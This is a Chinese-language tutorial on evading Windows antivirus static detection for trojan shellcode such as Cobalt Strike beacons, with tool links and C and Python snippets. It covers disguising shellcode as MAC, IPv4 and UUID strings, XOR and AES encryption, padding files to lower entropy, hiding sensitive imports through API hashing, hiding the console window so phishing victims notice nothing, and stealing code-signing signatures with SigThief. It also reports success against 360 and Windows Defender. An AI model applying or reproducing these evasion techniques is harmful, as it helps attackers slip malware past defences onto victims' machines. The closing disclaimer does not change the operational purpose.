免杀入门-Windows静态检测规避
杀软静态查杀点
1、特征码。一般指特定的程序指令集或敏感字符串,比如CS的原生beacon、mimikatz的作者注释信息等。特征码的定位可以用MYCCL工具对木马文件进行分块,将0x00覆盖到文件分块中,如果此时文件不报毒,说明白覆盖地方存在特征码,除此之外还可以用Virtest工具自动定位特征码。
2、IOC标志。一般指已经被威胁情报平台拉黑的IP或者域名,VirusTotal等平台暴露的恶意样本的md5值。
3、PE文件导入表中的敏感API函数。如VirtualAlloc、VirtualProtect、CreateThread等。杀软不会立刻将导入敏感API函数的PE文件判断为恶意程序,但是它后续会重点监控这些PE文件的行为。
静态查杀规避
俗话说得好"男人靠衣装,女人靠化妆,车辆靠改装,木马靠伪装",但说这句俗话的俗人就是我。设想一下要在目标机器的运行木马就是一个具有明显的"颜值缺陷"(特征码,IOC标志)且没有任何"身世背景"(正常的数字签名)的普通女孩,而杀毒软件就是那种对颜值对身世背景要求特别严苛的下头男,通过爆改去掩盖"颜值缺陷"、伪造"身世背景"、端正"行为举止"让杀软心悦臣服地接受我们的木马就是免杀的艺术,能与杀软共存并且能无感执行hashdump、添加用户等操作这个是免杀的最终理想,而不是上来就对杀软的进程进行强杀或者摘除其令牌等,这样很容易被主控端发现并且告警。
接下来我将列举一些"素马"改造的常规步骤,以规避杀软的静态检测。
素马改造第一步:编码
首先要理解的是编码不等于加密,编码本质上没有改变二进制数据的位置和结构,只是将0101的二进制序列以不同的形式分组排列,以便直观的呈现数据,如常见的编码:十六进制编码、GBK编码、UTF8、base64等。
编码的优点是一定程度上可以避免shellcode被某些杀软查杀,且还原比较简单甚至不用还原,不会提高文件整体的熵值,甚至有些编码还能减低熵值。
下面我将列举一些shellcode免杀常用的编码,并推荐一个shellcode免杀比较好用的编码工具:
https://github.com/Haunted-Banshee/Shellcode-Hastur/
直链地址下载
https://lp.lmboke.com/Shellcode-Hastur-main.zip
mac地址
mac地址长度为48位(6个字节)。
python语言读取shellcode文件并将shellcode转化为mac地址字符串:
def fileToMac(shellCodePath):
with open(shellCodePath, "rb") as file3:
scode_bin=file3.read() #以字节为单位
print(scode_bin);
scode=scode_bin.hex()
if len(scode)%12!=0: #mac地址长度为48位(6个字节)
hexadecimal1 = scode + '0'*(12-len(scode)%12) #用0填充shellcode
else:
hexadecimal1 = scode
formatCode = binascii.unhexlify(hexadecimal1)
mac_addresses = []
for i in range(0, len(formatCode), 6):
mac_address = ':'.join(['{:02x}'.format(b) for b in formatCode[i:i+6]])
mac_addresses.append(mac_address.upper())
return mac_addresses
C语言将mac地址转换为shellcode示例代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX_MAC_ADDRESSES 10
#define MAC_ADDRESS_LENGTH 6
void macArrayToHexCharArray(char *macAddresses[], int numAddresses, unsigned char *hexArray) {
for (int i = 0; i < numAddresses; i++) {
sscanf(macAddresses[i], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&hexArray[i * MAC_ADDRESS_LENGTH],
&hexArray[i * MAC_ADDRESS_LENGTH + 1],
&hexArray[i * MAC_ADDRESS_LENGTH + 2],
&hexArray[i * MAC_ADDRESS_LENGTH + 3],
&hexArray[i * MAC_ADDRESS_LENGTH + 4],
&hexArray[i * MAC_ADDRESS_LENGTH + 5]);
}
}
int main() {
// 存储多个 MAC 地址的字符串数组
char *macAddresses[MAX_MAC_ADDRESSES] = {
"00:11:22:33:44:55",
"AA:BB:CC:DD:EE:FF",
"12:34:56:78:90:AB"
};
int numAddresses = 3; // MAC 地址数量
// 分配存储十六进制数的字符数组内存,用于保存转化后的shellcode
unsigned char *hexArray = malloc(numAddresses * MAC_ADDRESS_LENGTH * sizeof(unsigned char));
if (hexArray == NULL) {
fprintf(stderr, "Memory allocation failed.\n");
return 1;
}
// 将 MAC 地址转换为十六进制数保存的字符数组
macArrayToHexCharArray(macAddresses, numAddresses, hexArray);
// 打印结果
printf("Hexadecimal representation of MAC addresses:\n");
for (int i = 0; i < numAddresses * MAC_ADDRESS_LENGTH; i++) {
printf("%02X ", hexArray[i]);
}
printf("\n");
// 释放分配的内存
free(hexArray);
return 0;
}
IPv4地址
IPv4地址长度为32位,通常表示为点分十进制格式,每一段十进制数最大为255(一段8位)。
c语言将ipv4地址转化为shellcode示例代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
// 将单个IPv4地址字符串转换为十六进制字符数组
void ipv4_to_hex(const char *ipv4_str, char *hex_str) {
struct in_addr addr;
if (inet_pton(AF_INET, ipv4_str, &addr) != 1) {
fprintf(stderr, "无效的IPv4地址:%s\n", ipv4_str);
exit(EXIT_FAILURE);
}
memcpy(hex_str, &addr.s_addr, sizeof(addr.s_addr));
}
// 将包含多个IPv4地址的字符串数组转换为十六进制字符数组
void ipv4_array_to_hex(const char **ipv4_array, int array_size, char *hex_array) {
int i, j = 0;
for (i = 0; i < array_size; i++) {
ipv4_to_hex(ipv4_array[i], hex_array + j);
j += sizeof(struct in_addr); // IPv4地址占4个字节
}
}
int main() {
const char *ipv4_array[] = {
"192.168.1.1",
"10.0.0.1"
};
int array_size = sizeof(ipv4_array) / sizeof(ipv4_array[0]);
// 计算总共需要的字节数
int total_bytes = array_size * sizeof(struct in_addr); // IPv4地址占4个字节
// 分配内存保存十六进制字符数组
char *hex_array = (char *)malloc(total_bytes);
if (hex_array == NULL) {
fprintf(stderr, "内存分配失败\n");
return 1;
}
// 转换为十六进制字符数组
ipv4_array_to_hex(ipv4_array, array_size, hex_array);
// 打印结果
printf("转换后的十六进制字符数组:\n");
for (int i = 0; i < total_bytes; i++) {
printf("%02x ", (unsigned char)hex_array[i]);
}
printf("\n");
// 释放内存
free(hex_array);
return 0;
}
uuid
uuid通常为128位,UUID由32个十六进制数字表示,这些数字被组织为5组,以连字号分隔,形式为8-4-4-4-12。
C语言将uuid转换为shellcode示例代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 将单个UUID字符串转换为十六进制字符数组
void uuid_to_hex(const char *uuid_str, char *hex_str) {
int i, j = 0;
for (i = 0; i < 36; i++) {
if (uuid_str[i] != '-') {
// 将十六进制字符转换为对应的数值
int high_nibble = (uuid_str[i] <= '9') ? (uuid_str[i] - '0') : (uuid_str[i] - 'a' + 10);
int low_nibble = (uuid_str[++i] <= '9') ? (uuid_str[i] - '0') : (uuid_str[i] - 'a' + 10);
// 将数值转换为十六进制字符
hex_str[j++] = (high_nibble << 4) | low_nibble;
}
}
}
// 将包含多个UUID的字符串数组转换为十六进制字符数组
void uuid_array_to_hex(const char **uuid_array, int array_size, char *hex_array) {
int i, j = 0;
for (i = 0; i < array_size; i++) {
uuid_to_hex(uuid_array[i], hex_array + j);
j += 16; // 一个UUID占16个字节
}
}
int main() {
const char *uuid_array[] = {
"01234567-89ab-cdef-0123-456789abcdef",
"fedcba98-7654-3210-fedc-ba9876543210"
};
int array_size = sizeof(uuid_array) / sizeof(uuid_array[0]);
// 计算总共需要的字节数
int total_bytes = array_size * 16; // 一个UUID占16个字节
// 分配内存保存十六进制字符数组
char *hex_array = (char *)malloc(total_bytes);
if (hex_array == NULL) {
fprintf(stderr, "内存分配失败\n");
return 1;
}
// 转换为十六进制字符数组
uuid_array_to_hex(uuid_array, array_size, hex_array);
// 打印结果
printf("转换后的十六进制字符数组:\n");
for (int i = 0; i < total_bytes; i++) {
printf("%02x ", (unsigned char)hex_array[i]);
}
printf("\n");
// 释放内存
free(hex_array);
return 0;
}
sgn编码
sgn的优点是shellcode进行sgn编码以后不需要处理也可以直接加载,且支持多次编码,在对抗杀软静态检测有不错的效果,适用于shellcode加密前。
下载地址:
https://github.com/EgeBalci/sgn
直链地址下载
https://lp.lmboke.com/sgn-master.zip
usage:
sgn -i beacon.bin -o sgn.bin
base64
base64建议多编码几次,但是静态免杀效果仍然不是很好。
素马改造第二步:加密
上面提到的编码并不能完全隐藏shellcode的特征,要完全隐藏shellcode特征就需要对shellcode进行加密。
市面上的加密算法通常分为对称加密算法(分组密码、流密码、凯撒密码等)与非对称加密算法(RSA算法、DSA数字签名算法、背包算法等),加密本质上改变了二进制数据的位置和结构,以对称加密算法的分组密码为例,明文序列分组经过字节替换、行移位、列混淆、轮密钥加以后变为不可识别的密文序列。对于shellcode而言编码是可有可无的,但是加密是必须的。
对于shellcode的加密,我推荐使用对称加密加密算法(如AES、3-DES、异或等),因为对称加密算法计算量小、加密速度快、加密效率高,很适合加密数据量比较大的数据。下面列举一些常见的对称加密算法的加解密示例。
xor异或
一次异或加密,二次异或解密。异或不要只进行简单的异或,最好加入一定长度的key进行异或。
C语言示例代码:
#include <stdio.h>
//传入的参数分别为存储shellcode指针,shellcode的字节大小,异或加密密钥的指针,异或加密密钥长度
void XORDe(unsigned char data[],int dataLen, char key[],int keyLen)
{
int g=0;
for (size_t i = 0; i < dataLen; i++)
{
if (g < keyLen)
{
data[i] = data[i] ^ key[g];
g++;
}
else
{
g = 0;
data[i] = data[i] ^ key[g];
}
}
for (size_t i = 0; i < dataLen; i++)
{
printf("\\x%0.2x", data[i]);
}
}
AES
推荐项目:
https://github.com/kokke/tiny-AES-c
直链地址下载
1、将项目中的aes.h、aes.hpp和aes.c三个文件复制到新建的VS项目的cpp文件的同目录。
2、右键项目添加现有项,将aes.h、aes.hpp和aes.c添加进项目。
4、在VS项目的cpp或者头文件引用aes.hpp。
#include "aes.hpp"
5、C语言加密示例代码。
//AES的密钥,16个字节(128位)
unsigned char KEY[] = { 0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88,0x99,0x4E,0x8E,0x33,0x18,0xC5,0x66,0x02 };
struct AES_ctx ctx;
// 初始化 KEY 和 iv
AES_init_ctx_iv(&ctx, KEY, KEY);
// 使用CBC模式加密缓冲区数据
AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize);
6、C语言解密示例代码。
//AES的密钥,16个字节(128位)
unsigned char KEY[] = { 0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88,0x99,0x4E,0x8E,0x33,0x18,0xC5,0x66,0x02 };
//初始化向量iv和key
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, KEY, KEY);
//解密shellcode,output为AES加密后的shellcode的指针,outputLen为加密后shellcode的长度
AES_CBC_decrypt_buffer(&ctx, output, outputLen);
7、其他AES项目:
https://github.com/SergeyBel/AES
https://github.com/WaterJuice/WjCryptLib
https://github.com/mygityf/cipher
RC4
动态调用advapi32.dll中的名为SystemFunction033的函数和名为SystemFunction032的函数,主要适用于shellcode在内存中的加解密。
其他加密算法
DES、SM4等也是不错的分组密码算法,参考项目地址:
https://github.com/guanzhi/GmSSL
素马改造第三步:减熵
加密虽然能够隐藏shellcode的特征,但大量的密文也提高了PE文件的整体熵值,360核晶等杀软不允许熵值过高的可执行文件运行。
什么是熵?
熵最早是物理热力学提出来的一个函数,后面发展为系统内部混乱程度的度量,这个度量应用于各个领域。熵值越大,代表内部越混乱越无序。
对于免杀,我们只需要知道木马的熵值增大主要是因为植入了加密后的shellcode和PE文件的加壳,通常CS的stageless的shellcode大小大概在200k-400k之间,如果使用对称加密算法,加密后的密文大小基本与明文一致,也在200k-400k之间,这部分密文大小占木马整体文件大小的比例要控制在百分之30及以下。
如何降低熵值?
基本思路是通过增大木马文件体积来降低文件的整体熵值,可以使用Entropy工具来查看文件的熵值。
1、分离加载加密后的shellcode;
2、添加资源文件,如图标、版本信息等;
3、将加密后的shellcode转换为mac、ipv4、uuid等嵌入资源文件或者代码;
4、使用Auto Junkcode和junkcode-generator等工具为程序添加垃圾代码(不影响原程序正常运行);
5、使用stager分阶段木马(不推荐,因为后面需要花很多功夫去隐藏行为特征)。
素马改造第四步:导入表函数隐藏
木马运行过程中通常会调用一些Windows API函数,如涉及内存分配(如VirtualAlloc)、内存属性修改(VirtualProtect)和回调函数等,导入表中有这些敏感函数的都会被纳入重点监控的列表。隐藏导入表函数对于免杀是至关重要的。
lazy_importer
下载地址:
https://github.com/JustasMasiulis/lazy_importer
1、像上面AES导入那样导入lazy_importer.hpp到VS项目,这里不过多赘述。
2、在VS项目的cpp或者头文件引用lazy_importer.hpp。
#include "lazy_importer.hpp"
3、比如想隐藏VirtualAlloc函数。
//VirtualAlloc(NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID output = LI_FN(VirtualAlloc)(nullptr, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
需要注意的点:
1、C语言中的NULL需要换成C++中的 nullptr。
2、年久失修的项目,bug比较多,实测相同的代码debug版本与release版本有时会有不同的执行结果(debug版本正常,release会有访问权限冲突),在win7中测试一些函数的隐藏会出现问题,一些函数找不到,无法正常执行。
API hash
获取模块基址,定位导出表地址,通过名称导出(传入的参数为函数名的hash值,对比hash)找到对应函数地址。
实现代码:
DWORD getHashFromString(char* string)
{
size_t stringLength = lstrlenA(string);
if (stringLength > 50) {
return 0;
}
DWORD hash = 0x35;
for (size_t i = 0; i < stringLength; i++)
{
hash += (hash * 0xab10f29e + string[i]) & 0xffffff;
}
return hash;
}
PDWORD getFunctionAddressByHash(HMODULE libraryBase, DWORD hash)
{
PDWORD functionAddress = (PDWORD)0;
if (libraryBase == NULL) {
return 0;
}
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)libraryBase;
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)libraryBase + dosHeader->e_lfanew);
DWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)libraryBase + exportDirectoryRVA);
PDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfFunctions);
PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNames);
PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNameOrdinals);
for (DWORD i = 0; i < imageExportDirectory->NumberOfFunctions; i++)
{
DWORD functionNameRVA = addressOfNamesRVA[i];
DWORD_PTR functionNameVA = (DWORD_PTR)libraryBase + functionNameRVA;
char* functionName = (char*)functionNameVA;
DWORD_PTR functionAddressRVA = 0;
// Calculate hash for this exported function
DWORD functionNameHash = getHashFromString(functionName);
// If hash for CreateThread is found, resolve the function address
if (functionNameHash == hash)
{
functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
functionAddress = (PDWORD)((DWORD_PTR)libraryBase + functionAddressRVA);
return functionAddress;
}
}
return 0;
}
参考文章:
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
自实现GetProcAddress和LoadLibrary函数
与通过通过API hash寻找函数地址类似,区别就是自实现GetProcAddress是通过API函数名称寻找函数地址的,且需要做字符串隐藏。自实现GetProcAddress基本思路:通过kernel32模块基址找到数据目录再找到导出表的偏移,导出表偏移加基址计算得到导出表的地址,通过逐个计算导出表中名称导出表的每个偏移与基址相加得到所有函数的名称的地址,然后比较函数名是否为GetProcAddress,是则返回对应序号导出表对应的函数地址(序号导出表与函数地址导出表一一对应)。
素马改造第五步:字符串隐藏
字符串隐藏主要是隐藏加密shellcode的密钥key、某些敏感API的const char*字符串和远程加载的一些IP等。
C语言字符串的const char * 与 char[]
1、const char 通常保存在.rdata段,也就是常量区,连续存储,以const char 定义的字符串可以很轻易被任意的PE工具或IDA反编译工具查看到。如下图为一个简单打印const char *字符串的程序,使用pestudio查看strings可以找到这个字符串。
#include <stdio.h>
int main()
{
printf("make a friend\n");
}
2、再来看char[]定义的字符串,准确来说这个应该叫字符数组,但是它实现的效果跟上面的程序是一样,其通常保存在.text段,而且其保存的是每个字符的地址,存储不是连续的,PE工具或IDA反编译工具无法直接查看到这个字符串,有一定的字符串隐藏效果。
#include <stdio.h>
int main()
{
char string1[] = {'m','a','k','e',' ','a',' ','f','r','i','e','n','d'};
printf("%s\n",string1);
}
CObfuscateP
下载地址:
https://github.com/Cc28256/ObfuscateP/tree/main/CObfuscateP
素马改造第六步:添加资源文件
推荐两个工具:ResourceHacker和Restorator 2018,实测360核晶对于没有资源文件的Version Info和有效签名的exe运行是直接拦截的,对于没有有效签名的exe添加Version Info会有意想不到的效果。
ResourceHacker
1、将要添加资源文件的exe拖入到ResourceHacker,点击Action->Add from Resource file。
2、选择一个有资源文件exe,然后再勾选这个exe需要导入的资源文件,再点击Import导入。
3、点击Save as图标另存为新的exe。
Restorator 2018
下载地址:
https://www.sqlsec.com/tools.html
素马改造第七步:去黑框
控制台应用程序双击点击运行会弹出cmd的黑框,某些杀软对该类程序会将该类程序列为恶意程序,去黑框也可以避免钓鱼马被受害者察觉,达到点了跟没点一样的那种感觉。
设置windows子系统
1、VS右键项目,链接器->系统->子系统,选择窗口。
2、cpp文件或者头文件加入如下代码,即可达到去黑框的效果。
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
调用API
FreeConsole
FreeConsole();
ShowWindow
HWND hDOS=GetForegroundWindow();ShowWindow(hDOS,SW_HIDE);
WinMain
int WINAPI WinMain(HINSTANCE hInStance,HINSTANCE hPrevInStance,LPSTR lpCmdLine,int nCmdShow)
素马改造第八步:签名
数字签名相当于PE文件的身世背景,正规的数字签名对于PE文件就是根正苗红的证明,杀软对带正规数字签名的PE文件基本是无条件信任,但出于成本考虑,给每一个马上正规数字签名是不现实的,因为一旦样本暴露,该正规的数字签名也会失效,实战中应用更多的是给木马上假签名或者白加黑。
签名窃取
窃取的签名是无效的,但是对于某些杀软能起到一定的规避作用,某些杀软不允许没有签名的exe程序运行。
sigthief
下载地址:
https://github.com/secretsquirrel/SigThief
usage:
-i 参数为被窃取签名exe文件的路径。
-t 参数为需要进行签名的PE文件路径。
-o 参数为输出文件路径。
python sigthief.py -i QQMusic.exe -t C:\Users\Administrator\Desktop\packer\myLoader\output\RLiv6bMYgWJAHEBR9.exe -o RLiv6bMYgWJAHEBR9.exe
JsigThief
下载地址:
https://github.com/chroblert/JSigThief
Limelighter
下载地址:
https://github.com/Tylous/Limelighter
签名购买
这里推荐EV签名,EV签名受信度高,只要做好shellcode的加密以及特殊行为处理,基本可以在有EDR的机器上游龙。但是EV签名成本比较高,一旦被发现是恶意程序,签名会被拉黑并且会被上传到各种威胁情报平台,之后杀软只要检测到该签名的程序就会直接查杀拦截。在降本增效的角度,还是不建议购买签名去进行免杀,除非你的马能做到APT的水平。
免杀效果
360核晶
双击运行,父进程为Explorer
Windows Defender
总结
1、编码方面,mac地址、IPv4地址和uuid等编码一般是在shellcode加密后进行,加密后的shellcode转化为mac地址前入代码以后文件整体大小变大,可以用来降低PE文件熵值;sgn编码一般是在shellcode加密前进行,sgn编码后的shellcode可以直接用Loader加载,无需进行再次转换,在对抗内存扫描的杀软有不错的效果。
2、加密方面,选择的加密算法要适用于加密大量数据的场景,常见的分组密码算法都可以应用于shellcode的加密,不要选择TEA、DSA之类的适用于加密少量数据的加密算法。
3、导入表函数隐藏方面,对于涉及内存、线程、进程的Windows API都要对其进行导入表隐藏。考虑到兼容性,还是建议动态调用Windows API来进行导入表隐藏。
4、只要做好加密、熵减和添加资源文件,基本可以保证文件落地不被秒杀。
END
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。